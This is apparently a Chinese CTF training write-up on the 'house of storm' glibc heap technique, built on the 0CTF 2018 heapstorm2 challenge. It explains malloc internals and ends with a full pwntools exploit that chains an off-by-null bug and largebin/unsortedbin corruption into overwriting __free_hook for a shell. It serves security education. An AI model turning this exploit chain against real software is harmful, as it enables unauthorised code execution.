当前位置: 首页 > 专业知识 > house of storm 的利用

house of storm 的利用

发表于:2020-07-01 15:24 作者: hope 合天智汇 阅读数(1128人)

引言

- 该题目出自于0ctf2018heapstorm2用于学习heapstorm的漏洞利用,是largebin attack的方法之一

- 需要先了解largebin的结构

  - 了解fd_nextsize与bk_nextsize指针的作用

  - 了解堆块如何从unosrtbin中取出来放入到largebin中去

  - 如何从largebin中将堆块取出

- 需要先了解unsortbin遍历

  - 堆块是怎么放入到unsortbin去的

  - unsortbin的堆块是怎么被取出来的

- unlink

  - 从largebin取出堆块需要使用unlink操作

- 通过off-by-null的漏洞实施chunk-overlapping的攻击

题目逻辑

init_data

1.png

利用mallopt函数将fastbin关闭,并且通过mmap函数分配一段地址空间,空间的范围为0x13370000-0x13371000,通过fd=open("/dev/urandom",0)去获取随机数,并往0x13370800地址开始写入24个字节。

for循环是将mmap开辟的地址填充随机数异或后的结果。

add

2.png

输入的size值的范围为0xc-0x1000,并且得到的堆块地址以及输入的size会通过异或再存入mmap的地址段中。

delete

3.png

show

4.png

show函数打印有前提条件,因此程序刚开始是不可以输入信息的,需要修改后才能输出。

edit

5.png

edit功能,输入的size值只能是add时填入的size-0xc,因为这0xc的空间会被自动填入数据,但是却额外的填入了0字节,造成了off-by-null的漏洞。

源码与分析

■ mallopt

■ mmap

■ unlink

■ unsortbin

mallopt

int mallopt(int param,int value)

■ param的取值可以为

■ M_MMAP_MAX用于设置进程中用mmap分配的内存块的最大限制,默认值为64K。如果将M_MMAP_MAX设置为0,ptmalloc将不会使用mmap分配大块内存。

■ 用于设置mmap阈值,默认值为128K,ptmalloc默认开启动态调整mmap分配阈值和mmap收缩阈值。

■ 当用户需要分配的内存大于mmap分配阈值,ptmalloc的malloc()函数其实相当于mmap()的简单封装,free函数相当于munmap()的简单封装。相当于直接通过系统调用分配内存,回收的内存就直接交还给操作系统。因为大块内存不能被ptmalloc缓冲管理,不能重用,所以ptmalloc也只有在不得已情况下使用该方式分配内存

■ mmap分配的好处

■ mmap分配的坏处

■ 因此mmap来分配长生命周期的大内存块是嘴好的选择,其他情况下都不太高效。

■ mmap的空间可以独立从系统中分配和释放的系统,对于长时间运行的程序,申请长生命周期的大内存块就很适合。

■ mmap的空间不会被ptmalloc所在缓冲的chunk中,不会导致ptmalloc内存暴增。

■ 对于有些系统的虚拟地址空间存在洞,只能使用mmap()进行分配内存,sbrk()不能运行。

■ 内存不能被ptmalloc回收再利用

■ 会导致更多的内存浪费,因为mmap需要按页对齐。

■ 分配效率跟操作系统提供的mmap()函数的效率密切相关,Linux系统强制把匿名mmap的内存物理页请0.

■ 用于设置mmap收缩阈值,默认值为128KB

■ 用于设置fastbins保存chunk的最大大小,默认为64B最大可以设置为80B,若设置为0,则表示不使用fast bins

■ M_MXFAST

■ M_TRIM_THRESHOLD

■ M_MMAP_THRESHOLD

■ M_MMAP_MAX

#ifndef M_MXFAST

# define M_MXFAST  1    /* maximum request size for "fastbins" */

#endif

int __libc_mallopt (int param_number, int value)

{

    mstate av = &main_arena;

int res = 1;  

if (__malloc_initialized < 0)

      ptmalloc_init ();

    __libc_lock_lock (av->mutex);  

    LIBC_PROBE (memory_mallopt, 2, param_number, value);  

/* We must consolidate main arena before changing max_fast

5149       (see definition of set_max_fast).  */

    malloc_consolidate (av);  

switch (param_number)

      {

case M_MXFAST:

if (value >= 0 && value <= MAX_FAST_SIZE)          

          {

            LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());

            set_max_fast (value);

        }

else

          res = 0;

break;  

case M_TRIM_THRESHOLD:

        do_set_trim_threshold (value);

break;  

case M_TOP_PAD:

        do_set_top_pad (value);

break;  

case M_MMAP_THRESHOLD:

        res = do_set_mmap_threshold (value);

break;  

case M_MMAP_MAX:

        do_set_mmaps_max (value);

break;  

case M_CHECK_ACTION:

        do_set_mallopt_check (value);

break;  

case M_PERTURB:

        do_set_perturb_byte (value);

break;  

case M_ARENA_TEST:

if (value > 0)

          do_set_arena_test (value);

break;  

case M_ARENA_MAX:

if (value > 0)

          do_set_arena_max (value);

break;

      }

    __libc_lock_unlock (av->mutex);

return res;

}

mmap

void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);■ start:映射区的开始地址,设置为0时表示由系统决定映射区的起始地址

■ length:映射区的长度。以字节为单位

■ prot:期望内存保存标志,不能与文件的打开模式重读

■ PROT_EXEC:页内容可以被执行

■ PROT_READ:页内容可以被读取

■ PROT_WRITE:页可以被写入

■ PROT_NONE:页不可被访问

■ flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下选项的组合

■ MAP_FIXED:使用指定的映射其起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。

■ MAP_SHARED:与其他所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。

■ MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。

■ MAP_DENYWRITE //这个标志被忽略。

■ MAP_EXECUTABLE //同上

■ MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。

■ MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。

■ MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。

■ MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。

■ //MAP_ANONYMOUS的别称,不再被使用。

■ MAP_FILE //兼容标志,被忽略。

■ MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。

■ MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。

■ MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。

■ fd:有效的文件描述词。一般是由open()函数返回,其值也可以是为-1,此时需要指定flags参数中的MAP_ANOP,表明进行的是匿名映射。

■ off_toffset:被映射对象内容的起点。

/dev/urandom

利用/dev/urandom文件创建随机数

从unsortbin取出堆块的源码

源码截取自glibc-2.27/malloc/malloc.c:3729

6.png

7.png

8.png

9.png

0.png

11.png

12.png

13.png

unlink

14.png

15.png

从largebin中申请堆块

16.png

17.png

18.png

思路

##step 1

利用off-by-null 漏洞,实现chunk shrink

add(0x28)#0

add(0xaa0)#1 利用Off-by-null的漏洞,实现堆块的收缩,完成堆块的重叠

add(0x80)#2  该堆块的prev_size会为0xab0且不会被修改

add(0x80)#3 防止与top chunk合并

edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#设置prev_size域绕过unlink检测

delete(1)

edit(0,0x28-0xc,'a'*(0x28-0xc))#触发off-by-null漏洞

add(0x80)#1

add(0x420)#4

add(0x80)#5

add(0x410)#6  

add(0x80)#7

# trigger unlink

delete(1)

delete(2)#触发unlink,完成堆块的堆叠

**这里解释下edit的原因**

edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

off-by-null之前

19.png

off-by-null之后

20.png

由于off-by-null的原因,size域的最低字节被0字节覆盖了

add(0x80)#1

add(0x420)#4

add(0x80)#5

add(0x410)#6  

add(0x80)#7

此时需要将unsortbin的空闲chunk申请出来,为什么这样申请,后续有说明。当申请堆块时,由于fastbin,smallbin都没有符合要求的堆块,因此会遍历unsortbin找到是否有合适的堆块,没有则断开双链,将unsortbin里面的堆块放到合适的bin里面,而此时位于unsortbin里的空闲chunk的大小为0xa00,是属于largebin里的,因此会先将空闲chunk放进largebin中,再通过unlink操作从largebin中分隔适合的堆块出来。翻看一下源码。

从unsortbin解链,放进largebin中

/* remove from unsorted list */

          unsorted_chunks (av)->bk = bck;

//unsortbin的bk指针指向倒数第二个堆块

          bck->fd = unsorted_chunks (av);

//倒数第二个堆块的fd指针指向unsortedbin

//把unsortbin的最后一个堆块取出来

      ......

          victim->fd_nextsize = victim->bk_nextsize = victim;    

//vitctim为从unsortbin中取出的堆块

从largebin中申请堆块

if ((victim = first (bin)) != bin &&

              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断largebin是否为空以及判断请求的size是否小于largebin中最大块的size

            {

              victim = victim->bk_nextsize; 

//通过bk_nextsize指针遍历,从小到大找堆块

while (((unsigned long) (size = chunksize (victim)) <

                      (unsigned long) (nb))) //直到找到的堆块size值大于或等于请求的size值

                victim = victim->bk_nextsize; 

/* Avoid removing the first entry for a size so that the skip

                 list does not have to be rerouted.  */

if (victim != last (bin) && victim->size == victim->fd->size) //若申请的chunk存在着多个结点,则申请结点,而不申请堆头

                victim = victim->fd;

              remainder_size = size - nb;

              unlink (av, victim, bck, fwd); //unlink操作取出堆块

可以发现从largebin取出堆块是通过unlink操作的,那么我们就需要绕过unlink检测

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))  

//检查P堆块的size域与P的下一个堆块的prev_szie域是否一致

      malloc_printerr ("corrupted size vs. prev_size");

这里的p堆块即需要取出的largebin,在unlink的第一个条件是需要判断当前堆块的size域与下一个堆块的prev_size域是否一致。

若我们不eidt去伪造prev_size域则可能造成

21.png

可以发现与unlink第一个判断条件的报错输出一致,即没有绕过unlink的检测,因此edit是为了构造

(chunksize(P) == prev_size (next_chunk(P))

22.png

构造两个largebin大小的堆块

add(0x80)#1

add(0x420)#4

add(0x80)#5

add(0x410)#6

add(0x80)#7

这里我们需要构造两个largebin大小的堆块,用于后续的操作。

触发unlink

delete(1)

delete(2)

由于通过off-by-null的漏洞将堆块的size收缩了,但是由于空闲块的管理机制,被释放掉的堆块的下一个堆块的prev_size域会记录其大小,因此触发unlink可以实现堆块的堆叠

23.png

接着触发unlink

24.png

实现了堆块的堆叠

##step 2

mmap_addr = 0x13370800-0x10

add(0x80)#1

add(0x420)#4 unsortchunk

add(0x80)#5

add(0x410)#6 largechunk  

add(0x80)#7

....

....

delete(6) #largechunk

add(0x500)#2

delete(4) #unsortchunk

#unsortchunk

payload = 'a'*0x80+p64(0)+p64(0x431)

payload += p64(0)+p64(mmap_addr)

#largechunk

payload += 'a'*(0x420-0x10)

payload += p64(0)+p64(0x91)

payload += 'a'*0x80

payload += p64(0)+p64(0x421)  

payload += p64(0)+p64(mmap_addr+8)

payload += p64(0)+p64(mmap_addr-0x18-5)

edit(1,len(payload),payload)

首先通过刚刚排好的堆块实现,unsortbin与largebin的攻击,而且unsortbin堆块的大小需要比lagrebin堆块的更大。

25.png

首先伪造unosrtbin堆块的bk指针,使得可以完成任意地址堆块分配

#unsortchunk

payload = 'a'*0x80+p64(0)+p64(0x431)

payload += p64(0)+p64(mmap_addr)

回头看看源码

if (size == nb)

{

set_inuse_bit_at_offset (victim, size);

if (av != &main_arena)

set_non_main_arena (victim);

#if USE_TCACHE

.....

else

{

#endif

check_malloced_chunk (av, victim, nb);

void *p = chunk2mem (victim);

alloc_perturb (p, bytes);

return p;

若我们申请的size与unosrtbin中的堆块的size值一致,则直接取出

26.png

unsortchunk为一开始我们放入unsortbin的chunk,修改bk指针使得它指向我们想要获得的chunk

27.png

在unsortbin第一次遍历时,我们放入unsortbin中的chunk会被断开双链并放入largebin中,并且target_chunk会成为unsortbin的bk指针指向的chunk,并且在第二次遍历时,由于我们申请的chunk与target_chunk的size值一致,因此我们会直接取出target_chunk,达到了任意堆块的分配,那么想要完成这种攻击则需要伪造target_chunk的size值。

利用largetbin的攻击,伪造target_chunk的size值与target_chunk的bk指针

#largechunk

payload += 'a'*(0x420-0x10)

payload += p64(0)+p64(0x91)

payload += 'a'*0x80

payload += p64(0)+p64(0x421)  

payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

首先是伪造target_chunk->bk指针

payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

回过头看下largebin是如何从unsortbin中放入largebin的

else

                        {

//否则vitcim自己成为堆头

                          victim->fd_nextsize = fwd;

                          victim->bk_nextsize = fwd->bk_nextsize;

                          fwd->bk_nextsize = victim;

                          victim->bk_nextsize->fd_nextsize = victim;

                        }

                      bck = fwd->bk;

//fwd为控制的堆块

                    }

                    .....

                    mark_bin (av, victim_index);

                    victim->bk = bck;

                    victim->fd = fwd;

                    fwd->bk = victim;

                    bck->fd = victim;

victim为我们从unsortbin取出来的unsortchunk,fwd为我们放进largebin中的largechunk

bck = fwd->bk; //即bck = largechunk->bk

....

bck->fd = victim;//bck->fd = unsortchunk_addr

再将unsortchunk放入lagrgebin的链表中时,需要访问largechunk的bk指针指向的内容,因此largechunk->bk指针指向的地址必须是有效的。

第二需要注意的点,当我们需要从unsortbin的链表中直接获取堆块时,需要注意要通过unsortbin的检测

         unsorted_chunks (av)->bk = bck;

  //bck指的是target_chunk->bk

         //unsortbin的bk指针指向倒数第二个堆块

         bck->fd = unsorted_chunks (av);

         //需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

可以看到当我们需要取出target_chunk时,会需要访问到target_chunk->bk指针指向的地址,因此该地址也必须有效,否则会报错。借助

bck->fd = victim;//bck->fd = unsortchunk_addr

bck为我们伪造的largechunk的bk指针,若我们将该bk指针伪造为target_chunk+8则

(target_chunk+8)->fd = target_chunk->bk = victim

//成功将target_chunk->bk指针指向有效地址

伪造target_chunk的size域

payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

回顾从unsortbin解除链接,放入largebin的过程

//victim为unsortchunk

//fwd为largechunk

              victim->fd_nextsize = fwd;

                          victim->bk_nextsize = fwd->bk_nextsize;

//fwd->bk_nextsize是我们伪造的地址,并且将该地址赋值给unsortchunk->bk_nextsize

                          fwd->bk_nextsize = victim;

                          victim->bk_nextsize->fd_nextsize = victim;

//victim->bk_nextsize已经被赋值为我们伪造的地址即fake_addr

//将unsortchunk的地址赋值给fake_addr->fd_nextsize

可以看到我们伪造的bk_nextsize的值,可以被unsortchunk的地址所赋值,我们目标是将target_chunk的size域给修改成我们希望的值,由于程序开启了pie,当开启pie时堆块的地址的最高字节一般为0x55或0x56,那么我们只需要将堆块的高字节部分被填写入targetchunk的size域则完成size域的伪造则

//fake_addr的值为victim->bk_nextsize,即为fwd->bk_nextsize,即为我们伪造的bk_nextsize

fake_addr -> fd_nextsize = victim;

//伪造targetchunk的size域

target_chunk - 0x18 - 5 = victim;

`target_chunk-0x18是使得victim->bk_nextsize落于targetchunk的size域,由于堆块为6个字节,因此要将使得最高字节落入size域需要再-5,便可将堆块的最高字节落入size域,使得targetchunk的size域为0x55或0x56`,这里注意小端模式。

但是需要堆块的高字节为0x56才能申请成功,这是因为

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||

ar_ptr == arena_for_chunk (mem2chunk (victim)));

程序会通过标志位判断该堆块是否为mmap申请而来。

伪造后的堆块

28.png

##step 3

当我申请成功后,就获得了在mmap地址段写能力,也就能够完成任意地址写了,这里需要注意的是,由于我们将mmap的地址放入unsortbin地址取出,此时mmap的fd与bk指针会被修改为main_aren与堆块地址,即异或随机数被修改为main_arean与堆块地址了

29.png

接着修改后续内容使得程序的show功能启用,利用任意地址写进而getshell

exp

from pwn import *

#sh = remote("node3.buuoj.cn",26774)

sh = process("./pwn")

libc = ELF("libc.so.6")

def add(size):

  sh.recvuntil("Command:")

  sh.sendline("1")

  sh.recvuntil("Size: ")

  sh.sendline(str(size))

def edit(index,size,content):

  sh.recvuntil("Command:")

  sh.sendline("2")

  sh.recvuntil("Index: ")

  sh.sendline(str(index))

  sh.recvuntil("Size: ")

  sh.sendline(str(size))

  sh.recvuntil("Content: ")

  sh.send(content)

def delete(index):

  sh.recvuntil("Command:")

  sh.sendline("3")

  sh.recvuntil("Index: ")

  sh.sendline(str(index))

def show(index):

  sh.recvuntil("Command:")

  sh.sendline("4")

  sh.recvuntil("Index: ")

  sh.sendline(str(index))

mmap_addr = 0x13370800-0x10

#step 1 chunk shrink

add(0x28)#0

add(0xaa0)#1

add(0x80)#2

add(0x80)#3

edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

delete(1)

edit(0,0x28-0xc,'a'*(0x28-0xc))

add(0x80)#1

add(0x420)#4 unsortchunk

add(0x80)#5

add(0x410)#6 largechunk  

add(0x80)#7

# trigger unlink

delete(1)

delete(2)

add(0xb30)#1

payload = 'a'*0x80+p64(0)+p64(0x431)

payload += 'a'*0x420+p64(0)+p64(0x91)

payload += 'a'*0x80+p64(0)+p64(0x421)

payload += 'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)

edit(1,len(payload),payload)

delete(6)

add(0x500)#2

delete(4)

#unsortbin

payload = 'a'*0x80+p64(0)+p64(0x431)

payload += p64(0)+p64(mmap_addr)

#largebin

payload += 'a'*(0x420-0x10)

payload += p64(0)+p64(0x91)

payload += 'a'*0x80

payload += p64(0)+p64(0x421)  

payload += p64(0)+p64(mmap_addr+8)

payload += p64(0)+p64(mmap_addr-0x18-5)

edit(1,len(payload),payload)

#get target chunk

add(0x48)#4

attach(sh)

payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)

edit(4,len(payload),payload)

show(0)

sh.recvuntil("Chunk[0]: ")

sh.recv(0x60)

xor1 = u64(sh.recv(8))

xor2 = u64(sh.recv(8))

print 'xor1:'+hex(xor1)

print 'xor2:'+hex(xor2)

main_arena = xor1 ^ (mmap_addr+0x10)

print 'main_arena:'+hex(main_arena)

libc_base = main_arena - 0x3c4b78

print 'libc_base'+hex(libc_base)

free_hook = libc_base + libc.symbols['__free_hook']

print 'free_hook:'+hex(free_hook)

system = libc_base + libc.symbols['system']

print 'system:'+hex(system)

one_gadget = libc_base + 0x4526a

payload = p64(0)*4+p64(free_hook)+p64(0x8)

edit(0,len(payload),payload)

edit(0,0x8,p64(one_gadget))

#attach(sh)

sh.interactive()

如果大家想要尝试远程的可以去https://buuoj.cn/

里面有许多往年的原题,是个很好的做题网站

总结

这是一道用于学习house of storm的题目,这道题目涉及的知识点较多unsortbin的循环取出,unlink操作,chunk overlapping等等,可以多看看源码并且对知识做一个归纳总结。

参考连接

https://blog.csdn.net/u013920085/article/details/52847464

http://eternalsakura13.com/2018/04/03/heapstorm2/

https://mp.weixin.qq.com/s/m30WVySbRrah9GFPdwcGKw

https://xz.aliyun.com/t/5265

https://bbs.pediy.com/thread-225973.htm

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/basic-zh/#unlink

相关实验:通过write实现信息泄漏 

(介绍信息泄露、GOT、PLT等相关概念,着重讲解信息泄露在缓冲区溢出中的重要作用,为你揭开CTF PWN题目提供的libc.so.6文件的神秘面纱。)



相关新闻

大家都在学

课程详情

音频文件信息隐藏

课程详情

SQL注入原理与实践

课程详情

Pineapple实现WiFi渗透机理分析